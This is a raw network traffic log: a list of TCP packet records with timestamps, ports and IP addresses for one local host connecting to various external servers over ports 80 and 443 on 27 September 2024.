Sep 27, 2024 05:50:22.945331097 CEST	49674	443	192.168.2.5	23.1.237.91
Sep 27, 2024 05:50:23.085617065 CEST	49673	443	192.168.2.5	23.1.237.91
Sep 27, 2024 05:50:30.751638889 CEST	49710	80	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:30.755033016 CEST	49711	80	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:30.756997108 CEST	80	49710	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:30.757066011 CEST	49710	80	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:30.757663012 CEST	49712	80	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:30.758079052 CEST	49710	80	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:30.759821892 CEST	80	49711	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:30.759871960 CEST	49711	80	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:30.762501955 CEST	80	49712	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:30.762568951 CEST	49712	80	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:30.762908936 CEST	80	49710	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:31.235512018 CEST	80	49710	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:31.235548973 CEST	80	49710	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:31.235590935 CEST	49710	80	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:31.343023062 CEST	49710	80	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:31.348190069 CEST	80	49710	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:31.441242933 CEST	80	49710	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:31.493733883 CEST	49710	80	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:32.275979042 CEST	49716	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:32.276035070 CEST	443	49716	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:32.276118040 CEST	49716	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:32.276580095 CEST	49716	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:32.276597977 CEST	443	49716	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:32.556024075 CEST	49675	443	192.168.2.5	23.1.237.91
Sep 27, 2024 05:50:32.556669950 CEST	49674	443	192.168.2.5	23.1.237.91
Sep 27, 2024 05:50:32.697511911 CEST	49673	443	192.168.2.5	23.1.237.91
Sep 27, 2024 05:50:32.888304949 CEST	443	49716	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:32.890738964 CEST	49716	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:32.890769958 CEST	443	49716	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:32.891638041 CEST	443	49716	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:32.891701937 CEST	49716	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:33.049037933 CEST	49716	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:33.049220085 CEST	443	49716	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:33.049319029 CEST	49716	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:33.058891058 CEST	49718	443	192.168.2.5	142.250.181.228
Sep 27, 2024 05:50:33.058981895 CEST	443	49718	142.250.181.228	192.168.2.5
Sep 27, 2024 05:50:33.059062004 CEST	49718	443	192.168.2.5	142.250.181.228
Sep 27, 2024 05:50:33.059734106 CEST	49718	443	192.168.2.5	142.250.181.228
Sep 27, 2024 05:50:33.059770107 CEST	443	49718	142.250.181.228	192.168.2.5
Sep 27, 2024 05:50:33.094113111 CEST	49716	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:33.094135046 CEST	443	49716	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:33.138866901 CEST	49716	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:33.146615028 CEST	443	49716	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:33.146631002 CEST	443	49716	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:33.146671057 CEST	443	49716	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:33.146691084 CEST	49716	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:33.146733046 CEST	49716	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:33.151849031 CEST	49716	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:33.151882887 CEST	443	49716	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:33.571063995 CEST	49719	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:33.571162939 CEST	443	49719	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:33.571315050 CEST	49719	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:33.573327065 CEST	49719	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:33.573360920 CEST	443	49719	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:33.653656006 CEST	49720	443	192.168.2.5	184.28.90.27
Sep 27, 2024 05:50:33.653707027 CEST	443	49720	184.28.90.27	192.168.2.5
Sep 27, 2024 05:50:33.654514074 CEST	49720	443	192.168.2.5	184.28.90.27
Sep 27, 2024 05:50:33.657191038 CEST	49720	443	192.168.2.5	184.28.90.27
Sep 27, 2024 05:50:33.657233000 CEST	443	49720	184.28.90.27	192.168.2.5
Sep 27, 2024 05:50:33.721043110 CEST	443	49718	142.250.181.228	192.168.2.5
Sep 27, 2024 05:50:33.721873999 CEST	49718	443	192.168.2.5	142.250.181.228
Sep 27, 2024 05:50:33.721940041 CEST	443	49718	142.250.181.228	192.168.2.5
Sep 27, 2024 05:50:33.722847939 CEST	443	49718	142.250.181.228	192.168.2.5
Sep 27, 2024 05:50:33.722966909 CEST	49718	443	192.168.2.5	142.250.181.228
Sep 27, 2024 05:50:33.724627972 CEST	49721	443	192.168.2.5	38.54.26.75
Sep 27, 2024 05:50:33.724689007 CEST	443	49721	38.54.26.75	192.168.2.5
Sep 27, 2024 05:50:33.725860119 CEST	49718	443	192.168.2.5	142.250.181.228
Sep 27, 2024 05:50:33.725933075 CEST	443	49718	142.250.181.228	192.168.2.5
Sep 27, 2024 05:50:33.725961924 CEST	49721	443	192.168.2.5	38.54.26.75
Sep 27, 2024 05:50:33.726438999 CEST	49721	443	192.168.2.5	38.54.26.75
Sep 27, 2024 05:50:33.726449966 CEST	443	49721	38.54.26.75	192.168.2.5
Sep 27, 2024 05:50:33.775089025 CEST	49718	443	192.168.2.5	142.250.181.228
Sep 27, 2024 05:50:33.775129080 CEST	443	49718	142.250.181.228	192.168.2.5
Sep 27, 2024 05:50:33.821861982 CEST	49718	443	192.168.2.5	142.250.181.228
Sep 27, 2024 05:50:33.907916069 CEST	49722	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:33.907990932 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:33.908613920 CEST	49722	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:33.908626080 CEST	49723	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:33.908727884 CEST	443	49723	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:33.908848047 CEST	49723	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:33.909821033 CEST	49722	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:33.909823895 CEST	49723	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:33.909852982 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:33.909861088 CEST	443	49723	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:34.360433102 CEST	443	49703	23.1.237.91	192.168.2.5
Sep 27, 2024 05:50:34.360543966 CEST	49703	443	192.168.2.5	23.1.237.91
Sep 27, 2024 05:50:34.387748957 CEST	443	49719	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:34.388412952 CEST	443	49720	184.28.90.27	192.168.2.5
Sep 27, 2024 05:50:34.388830900 CEST	49720	443	192.168.2.5	184.28.90.27
Sep 27, 2024 05:50:34.389877081 CEST	49719	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:34.389919043 CEST	443	49719	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:34.390851974 CEST	443	49719	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:34.391041994 CEST	49720	443	192.168.2.5	184.28.90.27
Sep 27, 2024 05:50:34.391056061 CEST	443	49720	184.28.90.27	192.168.2.5
Sep 27, 2024 05:50:34.391061068 CEST	49719	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:34.391313076 CEST	443	49720	184.28.90.27	192.168.2.5
Sep 27, 2024 05:50:34.432569027 CEST	49720	443	192.168.2.5	184.28.90.27
Sep 27, 2024 05:50:34.475404024 CEST	443	49720	184.28.90.27	192.168.2.5
Sep 27, 2024 05:50:34.478574038 CEST	443	49721	38.54.26.75	192.168.2.5
Sep 27, 2024 05:50:34.478863955 CEST	49721	443	192.168.2.5	38.54.26.75
Sep 27, 2024 05:50:34.478889942 CEST	443	49721	38.54.26.75	192.168.2.5
Sep 27, 2024 05:50:34.479917049 CEST	443	49721	38.54.26.75	192.168.2.5
Sep 27, 2024 05:50:34.479975939 CEST	49721	443	192.168.2.5	38.54.26.75
Sep 27, 2024 05:50:34.496033907 CEST	49721	443	192.168.2.5	38.54.26.75
Sep 27, 2024 05:50:34.496098042 CEST	443	49721	38.54.26.75	192.168.2.5
Sep 27, 2024 05:50:34.496587992 CEST	49719	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:34.496730089 CEST	49719	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:34.496738911 CEST	443	49719	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:34.496758938 CEST	443	49719	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:34.497041941 CEST	49721	443	192.168.2.5	38.54.26.75
Sep 27, 2024 05:50:34.497052908 CEST	443	49721	38.54.26.75	192.168.2.5
Sep 27, 2024 05:50:34.519933939 CEST	443	49723	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:34.520267963 CEST	49723	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:34.520297050 CEST	443	49723	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:34.521763086 CEST	443	49723	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:34.521861076 CEST	49723	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:34.522281885 CEST	49723	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:34.522366047 CEST	443	49723	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:34.522392988 CEST	49723	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:34.522464991 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:34.522624016 CEST	49722	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:34.522650957 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:34.524106979 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:34.524192095 CEST	49722	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:34.524833918 CEST	49722	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:34.524900913 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:34.538743019 CEST	49719	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:34.538753986 CEST	443	49719	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:34.539932966 CEST	49721	443	192.168.2.5	38.54.26.75
Sep 27, 2024 05:50:34.563397884 CEST	443	49723	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:34.576176882 CEST	49722	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:34.576179028 CEST	49723	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:34.576184988 CEST	443	49722	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:34.576191902 CEST	443	49723	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:34.591340065 CEST	49719	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:34.617770910 CEST	443	49723	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:34.617845058 CEST	49723	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:34.617863894 CEST	443	49723	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:34.617882013 CEST	443	49723	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:34.617899895 CEST	49723	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:34.617932081 CEST	49723	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:34.621140003 CEST	49722	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:34.634763002 CEST	49723	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:34.634823084 CEST	443	49723	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:34.699350119 CEST	443	49719	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:34.699368954 CEST	443	49719	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:34.699440956 CEST	443	49719	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:34.699448109 CEST	49719	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:34.699486971 CEST	49719	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:34.701970100 CEST	49719	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:34.701991081 CEST	443	49719	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:34.704323053 CEST	443	49720	184.28.90.27	192.168.2.5
Sep 27, 2024 05:50:34.704391003 CEST	443	49720	184.28.90.27	192.168.2.5
Sep 27, 2024 05:50:34.704443932 CEST	49720	443	192.168.2.5	184.28.90.27
Sep 27, 2024 05:50:34.717886925 CEST	49720	443	192.168.2.5	184.28.90.27
Sep 27, 2024 05:50:34.717907906 CEST	443	49720	184.28.90.27	192.168.2.5
Sep 27, 2024 05:50:34.718029976 CEST	49720	443	192.168.2.5	184.28.90.27
Sep 27, 2024 05:50:34.718038082 CEST	443	49720	184.28.90.27	192.168.2.5
Sep 27, 2024 05:50:34.727632999 CEST	49724	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:34.727663040 CEST	443	49724	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:34.727714062 CEST	49724	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:34.728781939 CEST	49724	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:34.728796005 CEST	443	49724	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:34.772669077 CEST	49725	443	192.168.2.5	184.28.90.27
Sep 27, 2024 05:50:34.772703886 CEST	443	49725	184.28.90.27	192.168.2.5
Sep 27, 2024 05:50:34.772763968 CEST	49725	443	192.168.2.5	184.28.90.27
Sep 27, 2024 05:50:34.777463913 CEST	49725	443	192.168.2.5	184.28.90.27
Sep 27, 2024 05:50:34.777482033 CEST	443	49725	184.28.90.27	192.168.2.5
Sep 27, 2024 05:50:34.988954067 CEST	443	49721	38.54.26.75	192.168.2.5
Sep 27, 2024 05:50:34.989001036 CEST	443	49721	38.54.26.75	192.168.2.5
Sep 27, 2024 05:50:34.989064932 CEST	49721	443	192.168.2.5	38.54.26.75
Sep 27, 2024 05:50:34.989093065 CEST	443	49721	38.54.26.75	192.168.2.5
Sep 27, 2024 05:50:34.995309114 CEST	443	49721	38.54.26.75	192.168.2.5
Sep 27, 2024 05:50:34.995368004 CEST	49721	443	192.168.2.5	38.54.26.75
Sep 27, 2024 05:50:34.995693922 CEST	49721	443	192.168.2.5	38.54.26.75
Sep 27, 2024 05:50:34.995707989 CEST	443	49721	38.54.26.75	192.168.2.5
Sep 27, 2024 05:50:35.057435989 CEST	49726	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:35.057481050 CEST	443	49726	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:35.057547092 CEST	49726	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:35.072771072 CEST	49726	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:35.072810888 CEST	443	49726	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:35.093058109 CEST	49728	80	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:35.103512049 CEST	80	49728	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:35.103573084 CEST	49728	80	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:35.103775024 CEST	49728	80	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:35.108823061 CEST	80	49728	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:35.441467047 CEST	443	49725	184.28.90.27	192.168.2.5
Sep 27, 2024 05:50:35.441528082 CEST	49725	443	192.168.2.5	184.28.90.27
Sep 27, 2024 05:50:35.506539106 CEST	49725	443	192.168.2.5	184.28.90.27
Sep 27, 2024 05:50:35.506562948 CEST	443	49725	184.28.90.27	192.168.2.5
Sep 27, 2024 05:50:35.506901979 CEST	443	49725	184.28.90.27	192.168.2.5
Sep 27, 2024 05:50:35.511513948 CEST	49725	443	192.168.2.5	184.28.90.27
Sep 27, 2024 05:50:35.541018963 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:35.554704905 CEST	49731	80	192.168.2.5	112.34.113.148
Sep 27, 2024 05:50:35.556186914 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:35.556299925 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:35.556793928 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:35.559406042 CEST	443	49725	184.28.90.27	192.168.2.5
Sep 27, 2024 05:50:35.561469078 CEST	80	49731	112.34.113.148	192.168.2.5
Sep 27, 2024 05:50:35.561578989 CEST	49731	80	192.168.2.5	112.34.113.148
Sep 27, 2024 05:50:35.562033892 CEST	49731	80	192.168.2.5	112.34.113.148
Sep 27, 2024 05:50:35.562619925 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:35.569334984 CEST	80	49731	112.34.113.148	192.168.2.5
Sep 27, 2024 05:50:35.575177908 CEST	49732	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:35.575201988 CEST	443	49732	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:35.575525999 CEST	49732	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:35.575694084 CEST	49732	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:35.575710058 CEST	443	49732	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:35.732409954 CEST	443	49725	184.28.90.27	192.168.2.5
Sep 27, 2024 05:50:35.732572079 CEST	443	49725	184.28.90.27	192.168.2.5
Sep 27, 2024 05:50:35.732670069 CEST	49725	443	192.168.2.5	184.28.90.27
Sep 27, 2024 05:50:35.735141993 CEST	49725	443	192.168.2.5	184.28.90.27
Sep 27, 2024 05:50:35.735168934 CEST	443	49725	184.28.90.27	192.168.2.5
Sep 27, 2024 05:50:35.951553106 CEST	49733	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:35.951606989 CEST	443	49733	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:35.951761007 CEST	49733	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:35.952450991 CEST	49733	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:35.952467918 CEST	443	49733	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:36.047580004 CEST	443	49726	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:36.047874928 CEST	49726	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:36.047935963 CEST	443	49726	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:36.051563978 CEST	443	49726	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:36.051644087 CEST	49726	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:36.052041054 CEST	49726	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:36.052212954 CEST	49726	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:36.052227020 CEST	443	49726	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:36.066179991 CEST	443	49724	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:36.066426039 CEST	49724	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:36.066488028 CEST	443	49724	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:36.066853046 CEST	443	49724	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:36.066926003 CEST	49724	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:36.067471981 CEST	443	49724	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:36.067564964 CEST	49724	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:36.095010042 CEST	49726	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:36.095020056 CEST	443	49726	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:36.136574030 CEST	49726	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:36.180128098 CEST	80	49728	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:36.219573021 CEST	443	49726	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:36.219603062 CEST	443	49726	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:36.219659090 CEST	443	49726	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:36.219669104 CEST	49726	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:36.219752073 CEST	49726	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:36.220345974 CEST	49726	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:36.220366955 CEST	443	49726	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:36.223042965 CEST	49728	80	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:36.268099070 CEST	49724	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:36.268261909 CEST	49724	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:36.268279076 CEST	443	49724	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:36.290968895 CEST	443	49732	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:36.308322906 CEST	49724	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:36.308350086 CEST	443	49724	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:36.336317062 CEST	49732	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:36.351449013 CEST	49724	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:36.400465965 CEST	49732	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:36.400475979 CEST	443	49732	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:36.401408911 CEST	443	49732	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:36.401493073 CEST	49732	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:36.628499031 CEST	80	49731	112.34.113.148	192.168.2.5
Sep 27, 2024 05:50:36.675801039 CEST	49731	80	192.168.2.5	112.34.113.148
Sep 27, 2024 05:50:36.679904938 CEST	443	49724	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:36.680512905 CEST	443	49724	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:36.680617094 CEST	49724	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:36.720228910 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.720455885 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.720472097 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.720524073 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:36.770904064 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:36.860153913 CEST	443	49733	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:36.867635965 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.867679119 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.867713928 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.867739916 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:36.869064093 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.869097948 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.869154930 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:36.870759964 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.870795965 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.870811939 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:36.871925116 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.871974945 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.872023106 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:36.874452114 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.874499083 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:36.877988100 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.878067970 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.878099918 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.878135920 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:36.886276960 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.886789083 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.886904955 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:36.886990070 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.887032986 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:36.887940884 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.913012028 CEST	49733	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:36.921674967 CEST	49732	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:36.921798944 CEST	443	49732	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:36.922251940 CEST	49733	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:36.922264099 CEST	443	49733	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:36.923338890 CEST	49732	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:36.923353910 CEST	443	49732	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:36.923829079 CEST	443	49733	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:36.923844099 CEST	443	49733	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:36.923924923 CEST	49733	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:36.928317070 CEST	49733	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:36.928402901 CEST	443	49733	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:36.928751945 CEST	49733	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:36.928760052 CEST	443	49733	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:36.931148052 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:36.966664076 CEST	49724	443	192.168.2.5	111.45.11.83
Sep 27, 2024 05:50:36.966747046 CEST	443	49724	111.45.11.83	192.168.2.5
Sep 27, 2024 05:50:36.968185902 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.968508005 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.968542099 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.968595028 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:36.970381021 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.970412970 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.970458031 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:36.970927000 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.970961094 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.970999956 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:36.972067118 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.972100973 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.972132921 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.972142935 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:36.972186089 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:36.972999096 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.973032951 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:36.973120928 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:36.976593018 CEST	49733	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:36.976593971 CEST	49732	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:38.069750071 CEST	80	49730	90.84.161.25	192.168.2.5
